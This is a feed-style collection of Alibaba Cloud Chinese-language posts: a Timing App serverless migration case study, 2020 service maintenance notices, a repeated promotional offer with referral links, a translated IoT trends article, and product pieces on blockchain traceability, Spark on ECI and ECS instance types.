      作为广受好评的学习应用,Timing App 专注于帮助社区用户提升学习凝聚力,达成学习目标。目前已有超过 700 万人通过 Timing 进行高效学习。与传统在线学习应用不同,Timing app 提供了 Timing 自习室、图书馆学习、 视频打卡、学习日记、契约群、学习服务等多类具有社交性质的在线教育服务,帮助用户找到自己的学习节奏,找到 坚持学习的一万种理由。Timing 业务本身具有潮汐特性,用户访问主要集中在晚间和节假日。受疫情影响,春节期 间峰值流量暴增 4 倍,公司面临较大的运维成本压力。在用户、流量爆发式增长背景下,Timing App 不得不直面以 下四大痛点:

      (1)系统稳定性差。原有 PHP 单应用架构系统无法做到线性快速扩容,在业务高峰时段,系统问题频繁发生,严 重影响用户体验。
      (2)产品迭代缓慢。随着业务的高速发展,原有单体架构对于产品的迭代力不从心,没法快速响应研发需求。
      (3)资源使用浪费。由于业务具有非常强的流量潮夕特征,需要按照业务高峰阶段进行资源保有配置,造成资源 的浪费。
      (4)技术成本昂贵。以前的团队除了技术负责人及少数团队新成员外,基本缺乏微服务架构实战经验。想要实现 微服务改造,急需能够快速上手的平台支撑,需要最大限度降低底层 IaaS, 容器以及常用微服务套件的学习 成本。

      2、云原生解决方案:

      阿里云应用引擎 Serverless(SAE),基于 Serverless 架构,屏蔽了底层 IaaS 运维和 K8s 细节,区别 于 FaaS 形态的 Serverless 产品,用户无需修改编程模型,零代码改造就能直接使用。同时,完美结合 Spring Cloud/Duboo 等微服务架构,提供应用发布、管理和服务治理等应用全生命周期的服务,完美贴合 Timing 的技术 需求:极限弹性伸缩,应用生命周期灵活管理,完美支持主流微服务架构。
      下图是方案架构示意图。
      image.png

      3、方案的关键优势:

      (1)利用弹性伸缩,应对不确定突发流量。提供秒级自动弹性 & 定时弹性能力,帮助应用轻松应对大促峰值流量, 保证 SLA 的同时也节省机器保有成本。多适用于互联网、游戏、在线教育行业。 应用环境随需灵活启停,节约成本。提供了一键启停开发测试环境的能力,即开即用,节省成本,方便运维。 适用于对成本敏感、云上有多套环境但部分环境闲置率较高的企业型客户(不限行业)。
      (2)中小企业快速构建云上微服务应用。帮助用户屏蔽底层 IaaS 购买和运维细节、底层 K8s 细节,低门槛部署 微服务应用。适用于初创型 / 上升期的公司(不限行业),业务增长很快,对增长有较高预期,但人员配置 跟不上。
      (3)整体技术架构更为清晰,每个服务相互独立且职责明确。加之阿里云应用引擎 Serverless (SAE)加持, 让客户只关注在业务层,做好产品。

      ]]>
      【升级】7月24日、28日、29日阿里云域名交易系统维护公告 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【域名】【域名交易系统维护通知】

      维护时间:北京时间2020年7月24日00:00 - 02:00、7月28日00:00 - 02:00、7月29日00:00 - 02:00

      维护内容:阿里云域名交易系统将于上述时间对后台系统进行维护。

      维护影响:届时阿里云域名交易平台(mi.aliyun.com)、域名抢注平台(wanwang.aliyun.com/domain/reserve)和域名控制台内我是买家、我是卖家等相关功能,将会无法正常使用,在维护期间会对您造成的具体影响如下:

      一、7月24日 00:00-02:00:

      1.所有域名交易购买类的操作,例如一口价(万网)、一口价(优选)、带价PUSH、竞价域名、违约认购、保留词一口价、委托购买、议价域名、域名抢注、域名预释放、域名回购等,将无法正常进行,下单后会立即返回失败;

      2.所有域名交易发布类的操作,例如一口价(万网)、带价PUSH、竞价域名、议价域名、委托购买等,将无法正常进行,不能发布、下架和修改等;

      3.所有米店、域名展示页等操作将无法正常进行,不能发布、下架和修改等。

      二、7月28日00:00-02:00:

      域名抢注、万网预释放、万网预订等业务无法正常预订,下单后会立即返回失败。

      三、7月29日00:00-02:00:

      所有域名交易订单支付类的操作,例如一口价(万网)、一口价(优选)、带价PUSH、竞价域名、违约认购、保留词一口价、委托购买、议价域名、域名抢注、域名预释放、域名回购、闯入竞价等的订单支付,保证金支付类的操作和服务费支付类的操作等将无法正常进行。

      如果您需要购买或管理以上业务操作,建议您避开维护时间段,以免给您的业务造成影响。

      由此给您带来的不便,我们表示歉意,敬请谅解。

      ]]>
      【其他】8月5日轻量云服务器价格调整通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【轻量应用服务器】【规格/价格调整通知】

      为了更贴近客户实际业务场景,提升产品服务质量,轻量应用服务器(SAS)计划于8月5日对中国香港地域和海外地域进行套餐规格和价格的调整。

      8.5日前持有如上地域套餐的客户,续费和升级仍可按照原套餐规格及价格执行,8月5日起新购套餐需按照调整后规格及价格执行。

      ]]>
      【升级】7月22日.cc/.tv/.name注册局系统维护通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【域名】【注册局维护通知】

      维护时间:北京时间2020年7月22日 05:00 - 09:00

      维护内容:接到注册局的通知,注册局将于上述时间对后台系统进行维护升级。

      维护影响:届时 .cc/.tv/.name 域名的注册、续费、信息修改和查询域名注册信息等操作,将会无法使用,在此期间会对您造成的影响如下:

      1、您提交的注册(购买)、续费、转入、赎回、一口价域名业务在支付费用后状态为“处理中”,待维护结束后将变为正常的“成功”状态;

      2、维护过程中您无法对域名注册信息进行修改,将提示修改失败。

      如果您需要注册或管理以上业务操作,建议您避开该时间段,以免给您的业务造成影响。

      由此给您带来的不便,我们表示歉意,敬请谅解。


      ]]>
      【升级】7月8日至23日IDaaS应用身份服务升级通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【IDaaS应用身份服务】【升级通知】

      升级窗口:北京时间 2020年7月8日 00:00 - 7月23日 23:59

      升级内容:为了更好为客户提供最新的统一身份权限管理能力,IDaaS计划进行全量实例更新,更新后版本为 v1.7.0。

      升级影响:升级期间,正常情况下无影响,极端情况下可能会出现几分钟内的服务中断。如果您的服务请求常出现失败,请稍后重试。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】7月21日至31日表格存储(Tablestore)公共云服务升级通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【表格存储(Tablestore)】【升级通知】

      升级窗口:北京时间 2020年7月21日 22:00- 7月31日 22:00

      升级内容:感谢您一直以来对表格存储(Tablestore)的支持,为了进一步提高服务质量,表格存储计划于2020年7月21日至7月31日陆续对表格存储公共云节点、金融云节点进行热升级,具体升级计划如下:

      1)北京时间2020年7月21日 22:00 - 7月25日 22:00 期间对华东2(上海)、华东2(上海)金融云、华北2(北京)、华南1(深圳)及华南1(深圳)金融云地域的公共云售卖节点进行热升级。

      2) 北京时间2020年7月28日 22:00 - 7月31日 22:00 期间对华东1(杭州)、华北1(青岛)、华北3(张家口)、华北5(呼和浩特)、华东1(杭州)金融云及西南1(成都)地域的公共云售卖节点进行热升级。

      升级影响:升级期间,可能会对您造成如下影响:

      1)整个热升级期间,每张数据表下的单个数据分区会最多受到不超过2次的影响;

      2)每个数据分区受到的单次影响时间约为1秒钟;

      3)升级期间,访问表格存储服务延迟可能会略有升高以及极低的错误率,通过重试即可解决;

      4)升级期间数据表创建、删除和更新操可能会失败,如遇错误,可以重试解决;

      5)升级期间没有请求则不会造成影响。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【升级】7月21日消息队列AMQP升级通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【消息队列AMQP】【升级通知】

      升级窗口:北京时间2020年7月21日(周二) 21:00 - 23:59

      升级内容:华北2(北京)、华北3(张家口)、华北5(呼和浩特)、华东1(杭州)、华东2(上海)、华南1(深圳)、中国香港等地域的消息队列AMQP服务升级。

      升级影响:升级期间消息队列AMQP相关服务及控制台访问可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。如需在控制台进行管理操作,请避开维护时间段。

      给您带来的不便敬请谅解,有任何问题,可点击联系我们进行咨询反馈。

      ]]>
      【其他】7月22日数据总线DataHub商业化开通通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【数据总线DataHub】【商业化开通通知】

      数据总线DataHub产品已于2020年4月20日完成商业化。为了保证客户业务平稳过渡,对商业化后未开通付费的用户,阿里云仍在7月22日前正常提供服务。

      自7月22日日起,DataHub进行升级,未开通DataHub的用户将无法使用DataHub相关服务,为了保证您的业务正常运行,请未开通用户在此时间前完成开通,开通地址,点此进入。使用过程中,如有任何疑问,请通过工单联系我们。

      ]]>
      阿里云新老用户买一得三超级优惠活动 Fri, 02 May 2025 09:39:04 +0800 互联网行业都在以自己的方式助力企业复工开产。阿里云自然也不例外,率先降本增效实施1亿元补贴,助力各行企业实现线上办公,让更多企业实现业务线上转型。今年采购季格外热闹,【采购季】上云仅需¥223/3年。盘点本次活动有以下亮点:

      1、新客购爆款主机商品赠送存储oss和数据库MySQL,买一得三;

      2、新购满额就送淘宝现金红包,最高可拿400元;

      3、爆款产品低至1折,满减最高减12000元;

      4、云服务器ECS,云数据库MySQL,云虚拟主机,云解析DNS,云安全等几十款产品年底限时特惠。

      活动入口:https://www.aliyun.com/activity/daily/cloud?userCode=d4m00na3

      活动依然有分会场

      1、基础云产品分会场:云服务器限时1折、抢数据库超值9.9元起、组合购买更划算;

      2、云服务器ECS分会场:新用户低至0.6折起、企业云分期首月免息、免费试用12个月;

      3、数据库分会场:新用户限时1折、爆款产品低至3折、续费满返最高2000元;

      4、域名&知识产权分会场:工商注册9.9元起、代理记账百元豪礼、商标提货券270元/张;

      5、安全分会场:产品组合购最高可减100,000元、全场低至1.5折、等保套餐好礼大放送;

      6、企业应用分会场:定制建站买1年送半年;参与抽取苹果手机;全场产品冰点钜惠;

      7、IoT物联网分会场:冰点优惠5折起、智能监控99元起、云资源低至7折起;

      活动入口:https://www.aliyun.com/minisite/goods?userCode=d4m00na3

      阿里云代金券领取:

      阿里云代金券领取示意图

      每日精品秒杀:

      image.png

      阿里云爆款主机5折不限新老用户:

      image.png

      阿里云快速建站:

      image.png

      活动入口:https://www.aliyun.com/minisite/goods?userCode=d4m00na3

      ]]>
      阿里云新老用户买一得三超级优惠活动 Fri, 02 May 2025 09:39:04 +0800 互联网行业都在以自己的方式助力企业复工开产。阿里云自然也不例外,率先降本增效实施1亿元补贴,助力各行企业实现线上办公,让更多企业实现业务线上转型。今年采购季格外热闹,【采购季】上云仅需¥223/3年。盘点本次活动有以下亮点:

      1、新客购爆款主机商品赠送存储oss和数据库MySQL,买一得三;

      2、新购满额就送淘宝现金红包,最高可拿400元;

      3、爆款产品低至1折,满减最高减12000元;

      4、云服务器ECS,云数据库MySQL,云虚拟主机,云解析DNS,云安全等几十款产品年底限时特惠。

      活动入口:https://www.aliyun.com/activity/daily/cloud?userCode=d4m00na3

      活动依然有分会场

      1、基础云产品分会场:云服务器限时1折、抢数据库超值9.9元起、组合购买更划算;

      2、云服务器ECS分会场:新用户低至0.6折起、企业云分期首月免息、免费试用12个月;

      3、数据库分会场:新用户限时1折、爆款产品低至3折、续费满返最高2000元;

      4、域名&知识产权分会场:工商注册9.9元起、代理记账百元豪礼、商标提货券270元/张;

      5、安全分会场:产品组合购最高可减100,000元、全场低至1.5折、等保套餐好礼大放送;

      6、企业应用分会场:定制建站买1年送半年;参与抽取苹果手机;全场产品冰点钜惠;

      7、IoT物联网分会场:冰点优惠5折起、智能监控99元起、云资源低至7折起;

      活动入口:https://www.aliyun.com/minisite/goods?userCode=d4m00na3

      阿里云代金券领取:

      阿里云代金券领取示意图

      每日精品秒杀:

      image.png

      阿里云爆款主机5折不限新老用户:

      image.png

      阿里云快速建站:

      image.png

      活动入口:https://www.aliyun.com/minisite/goods?userCode=d4m00na3


      ]]>
      20大新兴物联网趋势 Fri, 02 May 2025 09:39:04 +0800

      在详细介绍物联网趋势之前,我们想谈谈物联网技术本身。您如何看待物联网?物联网(IoT)是指计算设备或其他数字机器相互关联并且可以通过网络在它们之间传输数据的系统(它不需要任何人与计算机或人与人之间的交互)。以下所讨论的物联网趋势将会让你感到惊讶,因为在技术领域将会发生翻天覆地的变化。


      20大新兴物联网趋势


      从工厂设备到儿童玩具,很多物联网趋势正在出现,我们特别挑选了20种物联网趋势,并描述了每种趋势的所有细节。


      1.大数据融合


      物联网不仅强调改变人们的生活方式和经营方式,还着眼于产生大量的数据。构建大数据平台通常是为了支持大规模存储的需求和进行调研,这是充分发挥物联网优势所必需的。这就是我们正在面临的、并将在不久的将来大规模看到的物联网新趋势。


      Big-Data-Convergence_副本.jpg

      物联网和大数据有着紧密的联系,现在,我们看到许多新的设备被选择来产生公平的数据共享。云被认为能够控制分析需求和存储;它在处理更大的数据时缺乏一些细节,因此物联网需要从现在开始处理它们的大数据连接。


      2.边缘计算的数据处理


      物联网的基本弱点是它将设备添加到网络防火墙之后。保护设备可能很容易,但是保护IoT设备需要做更多工作。我们需要将网络连接和连接到设备的软件应用程序之间的安全性结合起来。


      Data-Processing-with-Edge-Computing_副本.png

      物联网在处理数据的同时,以其成本效益和效率获得最大的成功。在自动驾驶汽车、智能交通灯等智能设备中,数据的快速处理显得尤为突出。边缘计算被认为是解决这一问题的物联网趋势。


      在速度和成本方面,边缘计算通常要优于云。我们都知道更快的处理意味着更低的延迟,而这正是Edge Computing所做的。边缘计算的数据处理将与云一起存在,以改善物联网。


      3.更大的消费者采用率


      在未来的十年里,你将看到物联网的巨大变化,以消费者为基础的物联网的转变将发生,消费型物联网的资金增长将下降,未来将是工业物联网基础设施和平台的一年。这种物联网趋势需要时间来发展。


      Greater-Consumer-Adoption_副本.jpg

      Veniam、BetterView和Swift Navigation等基于工业物联网的公司将建立物联网架构,它将解决保险、交通、农业或电信领域等方面的困难,资本支出将明显减少。


      4.智能家居需求将上升


      在过去,我们已经看到物联网应用随着智能家居技术的理念而激增,这种趋势将在短期内继续下去,以便家庭能够获得更多的互动。人们不会指挥设备,相反,设备会告诉房子里的人他们应该做什么。


      “Smart”-Home-Demand-Will-Rise_副本.png

      爆炸性增长将减少;今年,我们将看到稳定增长,因为当今的公司正面临安全和碎片化问题。智能家居物联网趋势是当前的热门话题。


      5.医疗行业拥抱物联网


      在看到零售商从与客户互动的能力中受益的情况下,医疗行业正在使用可穿戴设备,这些行业将面临稳定的发展。


      The-Healthcare-Industry-Embraces-IoT_副本.jpg

      你能想象所有的医疗设备都在使用云,并为智能系统存储图像吗?值得注意的是,通过这种方式,政府将从中获得最大利益。医疗领域的物联网趋势受到高度鼓励。


      6.用于数据安全的Auto-ML(机器学习)


      现在,我们看到开发人员将注意力集中在新的方法上,人们可以使用类似区块链的技术安全地共享数据。如今,许多工业公司将学会信任和接受机器学习模型预测,并将适应其操作,以通过模型输出防止意外停机。


      Auto-ML-Machine-Learning-for-Data-Security_副本.jpg

      机器学习模型训练将是高度自动化的,就像auto-ML工具集一样,它将变得更加流行。工业公司将会增加与Could相关的大量资本资产(3-5倍),因为这是物联网的顶级趋势之一。


      7.物联网巨大的增长即将到来


      与其他类型的技术相比,IoT设备通常会获取有关设备和用户的更多数据和信息,到2020年,全球IoT设备将达到约310亿。今天,我们将物联网设备视为报告和跟踪的主要部分。


      IoT-–-Massive-Growth-Coming_副本.png

      根据物联网技术的发展趋势,我们可以很容易地假设,物联网将得到最大的发展。物联网通常是获取或收集如此多的数据,并且有人工智能来提取必要的数据。不久,我们将看到物联网设备为行动而工作,它们也将帮助技术人员提供有见地的建议。


      8.区块链用于物联网安全


      很快,各种各样的企业家、金融和政府流程、消费者和工业企业将分散化、自治、自我修复和智能化。一些初创公司在IOTA的Tangle (IOTA是一种分布式账本,用于记录和执行物联网生态系统中设备间的交易)上建立自己的地盘,为企业开发模块和其他组件,而不需要支付SaaS和云计算的成本。


      Blockchain-for-IoT-Security_副本.jpg

      您应该准备好查看集中式的整体计算模型,这些模型分解为作业和微服务,这些作业和微服务将分发给分散的设备和机器。有一天,物联网将渗透到当今人们无法想到的治理,健康,交易,财务和其他领域。这类物联网技术趋势将为我们带来巨大的有效差异。


      9.更好的数据分析


      未来几年,最显著的趋势将会让我们大吃一惊,那就是互联世界和物联网之间的关系。现在,世界和物联网如何与人工智能结合,成为所有企业和个人的决策助手,这就是我们所期待的。


      Better-Data-Analytics_副本.jpg

      人工智能是一种可以快速识别趋势的机器学习系统。物联网技术趋势将带来更好的数据分析,并使其更易于维护。它还从大量数据中收集见解,以便为我们的生活做出更好的决策。


      10.智慧城市将成为主流


      过去,我们已经看到各州正在推出更多技术和传感器,以利用可访问数据收集工具的优势。不久,我们将看到IoT趋势,具有远见的城市将投资于开拓性的数据交换,这将提供私有和公共组织以及公民之间的数据访问和组合。


      Smart-Cities-to-Become-Mainstream_副本.jpg

      我们很快就会有机会看到智慧城市思维的转变。与响应性城市的物联网整合将缓解交通拥堵,开启可持续发展,并提高安全性。


      11.区块链作为高效后端


      尽管大规模采用、可扩展性、安全性和成本都非常关键;但您将看到许多技术难题阻碍了物联网的发展。大多数软件都是为收集大量数据而设计的,出售这些数据似乎更有利可图。


      Blockchain-as-Efficient-Backend_副本.jpg

      这里最重要的问题是后端用于运行物联网设备的集中式网络。因此,信任现在是一个更重要的问题。区块链作为物联网技术的重要发展趋势之一,对于正确的数据保存和保护是非常必要的。


      如果我们想在家里安装一系列智能设备,我们就必须解决客户的信任问题,因为这对他们来说是一个更大的威胁,而且这种威胁可能不仅仅局限于他们的身份。因此,我们可以认为“区块链作为有效后端”是明年物联网的新趋势之一。


      区块链是这方面的帮手,它分散了在一个地方保存大量数据的安全问题。它允许代币经济,这通常可以为向提供商出售数据和其他信息的用户创建一个市场(或选择保持公开)。


      12.零售体验的个性化


      物联网使当今的零售业供应链管理更加高效。借助于传感器和其他智能信标技术,定制购物体验变得更加舒适,人们可以更加精确地进行定制。


      根据新的变化,接下来几年的物联网趋势将使您的交易活动个性化。您可以从您最喜欢的商店获得经常购买的产品的折扣通知,您喜欢的商场的室内地图将引导您找到所需的确切商品!


      物联网技术趋势将确保更好地整合个性化零售体验,最终可以开创购物新时代。


      13.通过物联网促进预测性维护


      不久后,房屋将通知业主有关设备故障,管道泄漏,电气问题的信息,以便业主避免房屋维修灾难。在所有这些物联网趋势的帮助下,今天可以实现的飞机、工厂和汽车中传感器的更多功能将很快进入您的家中。


      针对物联网的这些预测技能,我们将看到承包商提供的家庭护理即服务。无论你是否在家,只要发现任何问题,他们都会立即采取行动。


      如今的家庭保险公司已经知道智能传感器和其他已连接设备的性质在不断变化,这极大地影响了物联网趋势。如今,在汽车上可以找到的传感器,就像在允许消费者降低价格和向消费者安装主动监测系统以避免损坏的过程中一样,可以允许房屋保险公司降低风险和其他支出。


      14.云计算:物联网的未来


      数据保护将成为最重要的安全趋势之一。拥有一个已经连接到互联网的设备在很多方面都是有害的,使用间谍软件可以很快得到你的个人信息。


      Cloud-Computing-The-Future-of-IoT_副本.jpg

      智能家居、自动驾驶汽车和可穿戴设备的基础设施也将保存黑客、非法入侵者等的记录。私人数据也有很多用途,云计算可以帮助构建物联网的未来。这些物联网趋势必须得到适当的重视。


      15.软件即服务(Software-as-a-Service)成为常态


      如果我们讨论物联网趋势,软件即服务被认为是市场的热门话题之一。在低进入成本的帮助下,SaaS正在迅速成为IT领域最受欢迎的公司,很快我们就会有机会看到这类公司的广泛支持。在所有这些物联网技术趋势中,软件即服务将使人们的生活比以往任何时候都更好。


      16.物联网安全意识和培训


      这个行业还处于起步阶段,需要安全培训。培训将包括基本知识,例如收益和风险之间的差异以及其他安全建议。


      IoT-Security-Awareness-and-Training_副本.jpg

      通过适当的培训,建立可靠的安全性,整合安全性,促进物联网的透明度。在开始之前,有意识的物联网安全培训是必不可少的。上述所有的物联网技术趋势也要求用户意识,以使人们在他们的区域内保持安全。


      17.创建用于集成的统一框架


      缺乏统一的物联网框架是物联网与行业合作面临的挑战。这些公司没有中心共享平台。我们之前提到的所有物联网趋势都包括统一框架,因为这是保持行业安全的唯一方法。


      区块链将有助于加速应用程序的采用过程,帮助改进和开发应用程序。这些应用程序具有高性能阈值,并且此过程也有助于维护通常需要的数据密集型过程。


      18.能源与资源管理


      能源管理依赖于更好地了解能源消耗。可以安装在配电面板上的产品可以监控家庭的能源消耗。所有这些物联网趋势都可以很容易地融入到资源管理中,这将使人们的生活更加舒适和容易。


      当能量阈值将超过时,可以添加推送通知以通过智能手机发送通知。还可以添加其他功能,例如室内温度管理,控制洒水器等。


      19.语音控制的转变:从移动平台到管理物联网生态系统


      如今,对话在向前推进,对动态安全环境的响应也在向第一线移动,人们很困惑,当第一线的开发者最好的网络安全计划失败了,他们会做什么。依赖于移动系统的物联网趋势将会发展,并转变为对物联网生态系统的管理。


      在这种情况下,监管将是实施的唯一途径,这一趋势将是监管机构和政府从欧盟,美国,中国或日本将开始认识到所有的威胁,并将开始发布可能的保护指令。


      20.保持警惕和结盟:物联网的进一步扩展


      目前,技术领导者、开发公司和企业都在致力于充实物联网技术的真实应用。对业务价值和成果的需求被放大,这将为最近形成的数字产品中嵌入的传感器数量的增加指明道路。


      根据所有这些物联网趋势,当今更多的行业和公司将把物联网看作是吸引消费者、发展品牌、改善用户体验的魔杖。


      Gartner也是这么认为的,因此他们坚持同样的信念,声称到2020年,95%的电子产品将实现物联网。因此,现在制造商希望扩大物联网设备的数量,不仅如此,他们还应该努力使设备更加全面和容易获得。


      总结


      这些物联网趋势将使人们的生活比以往任何时候都更安全、更容易、更舒适。


      原文链接 ]]>
      阿里云蚂蚁区块链服务助力企业大数据营销一体化 Fri, 02 May 2025 09:39:04 +0800 随着消费升级的趋势,消费者越来越关心买到商品是否是正品。所以,商家在打造的品牌的同时,防止假冒商品,防串货已经成为商品品牌建设的关键。

      现在市场上,一方面造假、知假、售假的行为屡禁不止;另一方面,优秀企业的商品被假冒,无法及时发现并确定假冒产品的来源,企业的正当利益也受到了损害。

      阿里云整合了蚂蚁区块链商品溯源服务系统,赋予每个商品唯一的追溯码,对商品进行一对一的绑定,打通了商品的上下游全流程的应用场景,同时更真实的展示商品的全部购买过程,实现数字化管理,数字化营销,同时做到了商品可追溯,可控化的管理系统。

      商品溯源服务系统为企业和用户解决了以下问题:

      image.png

      传统的溯源码存在被大量复制的风险,阿里云整合的蚂蚁区块链溯源服务,该系统利用区块链和物联网技术追踪记录有形商品或无形信息的流转链条,不可篡改的登记在区块链上,解决了信息流转不畅,信息缺乏透明度等行业问题,同时规避了传统溯源码容易被大量复制的问题。该系统优点:

      image.png

      阿里云上的蚂蚁区块链溯源系统具体的应用场景:

      image.png

      此系统在天猫品牌商家间被广泛使用,具体案例如下:

      image.png

      由此可见此系统不但可以实现商品防伪,同时具备溯源、防窜货、数据分析等多样化功能,由此提高企业管理效率,降低销售成本,引导供给端生产企业提升产能。

      ]]>
      Spark on ECI大数据分析 Fri, 02 May 2025 09:39:04 +0800

      云栖号最佳实践:【点击查看更多上云最佳实践
      这里有丰富的企业上云最佳实践,从典型场景入门,提供一系列项目实践方案,降低企业上云门槛的同时满足您的需求!

      场景描述

      Spark作为快速、通用的大规模数据处理平台,更多关注Spark Application的管理,底层实际资源调度和管理更多的是依靠外部平台的支持例如Mesos、YARN、Kubernetes等。借助阿里云的容器服务Kubernetes版(ACK)、弹性容器组实例(ECI)、文件存储HDFS或者对象存储OSS提供灵活弹性计算资源弹性可扩展、计算与存储分离架构、成本可控的Spark on ECI解决方案实践。

      解决问题

      • 计算资源弹性能力不足,计算资源成本管控能力欠缺
      • 集群资源调度能力和隔离能力不足
      • 计算与存储无法分离,大数据量分析时出现数据存储资源瓶颈
      • Spark submit方式提交分析作业参数支持有限等缺点

      产品列表

      • 容器服务Kubernetes版(ACK)
      • 弹性容器实例(ECI)
      • 文件存储HDFS
      • 对象存储OSS
      • 专有网络VPC
      • 容器镜像服务ACR

      image

      直达最佳实践 》》

      160@Spark on ECI大数据分析.png.png

      ]]>
      阿里云企业级云服务器和入门级云服务器实例差别很大吗 Fri, 02 May 2025 09:39:04 +0800 选择阿里云服务器的时候,一般来说,新手用户都是通过阿里云的各种促销活动去购买阿里云服务器,毕竟便宜很多,细心的用户会发现,促销活动中的云服务器实例基本上以企业级的计算型、通用型和入门级的突发性能t5、共享型s6为主。

      有些人就有疑问了?阿里云企业级云服务器和入门级云服务器实例差别很大吗?如何选择?本文就是为了解答这个问题写的,希望大家看了之后能够对阿里云服务器实例认识更清晰,快速找到自己需要的云服务器产品。

      一、名词解释
      实例:云服务器实例其实就是一个虚拟的计算环境,包含 CPU、内存、操作系统、带宽、磁盘等最基础的计算组件。用户可以将一个弹性云服务器实例简单理解为一个独立的虚拟机。ECS实例是云服务器最为核心的概念,其他的资源,比如磁盘、IP、镜像、快照等,只有与云服务器实例结合后才能使用。

      阿里云入门级云服务器:用户用的最多的是阿里云突发性能t5实例和共享型S6实例。起步机型是1核1G机型,主打低价市场,适合运行一些一些轻量应用,阿里云突发性能t5实例的CPU性能基线限制在20%性能,共享型S6实例则没有限制。

      下面是突发性能t5实例、共享型S6实例、计算型c5、计算型c6、通用型g5和通用型g6实例的特点和适用场景:

      实例规格 性能特点 适用场景
      突发性能型 t5 处理器:2.5 GHz主频的Intel ® Xeon ® 处理器
      搭配DDR4内存
      多种处理器和内存配比
      vCPU持续提供基准性能,可突然提速,但受到CPU积分的限制
      计算、内存和网络资源的平衡
      仅支持专有网络VPC
      Web应用服务器
      轻负载应用、微服务
      开发测试压测服务应用
      共享型s6 相比上一代共享型实例规格族(xn4、n4、mn4和e4),性价比提升
      处理器:2.5 GHz主频的Intel ® Xeon ® Platinum 8269CY(Cascade Lake),睿频3.2 GHz,计算性能稳定
      搭配DDR4内存
      支持1:1、1:2、1:4多种处理器内存配比
      I/O优化实例
      支持ESSD云盘、SSD云盘和高效云盘
      仅支持专有网络VPC
      中小型网站和Web应用程序
      开发环境、构建服务器、代码存储库、微服务、测试和暂存环境等
      轻量级数据库、缓存
      轻量级企业应用、综合应用服务
      计算型 c5 I/O优化实例
      支持ESSD云盘、SSD云盘和高效云盘
      处理器与内存配比为1:2
      超高网络PPS收发包能力
      处理器:2.5 GHz主频的Intel ® Xeon ® Platinum 8163(Skylake)或者8269CY(Cascade Lake),计算性能稳定
      实例网络性能与计算规格对应(规格越高网络性能越强)
      高网络包收发场景,例如视频弹幕、电信业务转发等
      Web前端服务器
      大型多人在线游戏(MMO)前端
      数据分析、批量计算、视频编码
      高性能科学和工程应用
      计算型 c6 依托神龙架构,将大量虚拟化功能卸载到专用硬件,降低虚拟化开销,提供稳定可预期的超高性能
      I/O优化实例
      支持ESSD云盘、SSD云盘和高效云盘
      实例存储I/O性能与计算规格对应(规格越高存储I/O性能越强)
      支持开启或关闭超线程配置
      处理器与内存配比为1:2
      超高网络PPS收发包能力
      处理器:2.5 GHz主频的Intel ® Xeon ® Platinum 8269CY(Cascade Lake),睿频3.2 GHz,计算性能稳定
      实例网络性能与计算规格对应(规格越高网络性能越强)
      支持变配为g6或r6
      高网络包收发场景,例如视频弹幕、电信业务转发等
      Web前端服务器
      大型多人在线游戏(MMO)前端
      数据分析、批量计算、视频编码
      高性能科学和工程应用
      通用型 g5 I/O优化实例
      支持ESSD云盘、SSD云盘和高效云盘
      处理器与内存配比为1:4
      超高网络PPS收发包能力
      处理器:2.5 GHz主频的Intel ® Xeon ® Platinum 8163(Skylake)或者8269CY(Cascade Lake),计算性能稳定
      实例网络性能与计算规格对应(规格越高网络性能越强)
      高网络包收发场景,例如视频弹幕、电信业务转发等

      各种类型和规模的企业级应用
      中小型数据库系统、缓存、搜索集群
      数据分析和计算
      计算集群、依赖内存的数据处理
      通用型 g6 依托神龙架构,将大量虚拟化功能卸载到专用硬件,降低虚拟化开销,提供稳定可预期的超高性能
      I/O优化实例
      支持ESSD云盘、SSD云盘和高效云盘
      实例存储I/O性能与计算规格对应(规格越高存储I/O性能越强)
      处理器与内存配比为1:4
      支持开启或关闭超线程配置
      超高网络PPS收发包能力
      处理器:2.5 GHz主频的Intel ® Xeon ® Platinum 8269CY(Cascade Lake),睿频3.2 GHz,计算性能稳定
      实例网络性能与计算规格对应(规格越高网络性能越强)
      支持变配为c6或r6
      高网络包收发场景,例如视频弹幕、电信业务转发等

      各种类型和规模的企业级应用
      网站和应用服务器
      游戏服务器
      中小型数据库系统、缓存、搜索集群
      数据分析和计算
      计算集群、依赖内存的数据处理

      二、入门级和企业级实例性能差距
      看了上面的规格配置大家应该心里有数了,入门级实例和企业级实例差距是巨大的。同样是2核4G实例,入门级实例因为有CPU基线20%的限制导致整体性能打了折扣,所以说仅适用于学习、测试、轻量级网站等对CPU要求比较低的业务环境中。

      企业级实例就好说了,独享系统全部资源,无CPU性能限制,可以满载运行。如果我们是个人用户能不能使用呢?当然是可以的,也不需要企业认证之类的,只是付的费用多一些罢了。如果你是新用户第一次购买阿里云产品,一定要利用好新用户的首购资格,阿里云针对新用户的优惠幅度是最大的。一定要通过阿里云官网最新活动栏的各种促销活动去买,可以节省很多。

      三、如何选择
      知道了配置的区别、性能差距,如何选择就好简单了。如果你就是买来学习下服务器运维知识、测试/跑一跑代码、轻量级网站等是可以在突发性能t5实例中运行的,只要注意别达到CPU性能基线就可以了,如果要性能更高一点,就选择共享型S6实例的云服务器去购买。
      如果你是企业用户,放一些企业官网、品牌、门户型的一些网站,那就选择计算型和通用型的,以免网站流量或者数据处理比较高导致云服务器跑不动的情况出现。

      特别是一些企业网站达到日PV一万开外的访问量了,一定要选择计算型和通用型实例的云服务器,性能好,就不要选择突发性t5和共享型s6的实例了。

      购买推荐:阿里云小站是集阿里云服务器代金券、云产品通用代金券、云服务器限时秒杀、新用户1折、爆款云产品5折(老用户可买)以及阿里云热门活动入口为一体的综合优惠平台。
      代金券.png

      ]]>
      定义下一代存储,打造全新一代数据基础设施 Fri, 02 May 2025 09:39:04 +0800 2020年7月14日,阿里云存储新品发布会——第五期完美落幕,此次发布会阿里云为大家带来了:快照极速可用、HBR快照管理、数据加工与投递等7款新功能的发布,帮助大家一起来了解更丰富的阿里云存储产品家族及行业应用场景最佳实践。

      1、快照服务重磅升级,数据保护RTO进入秒级时代
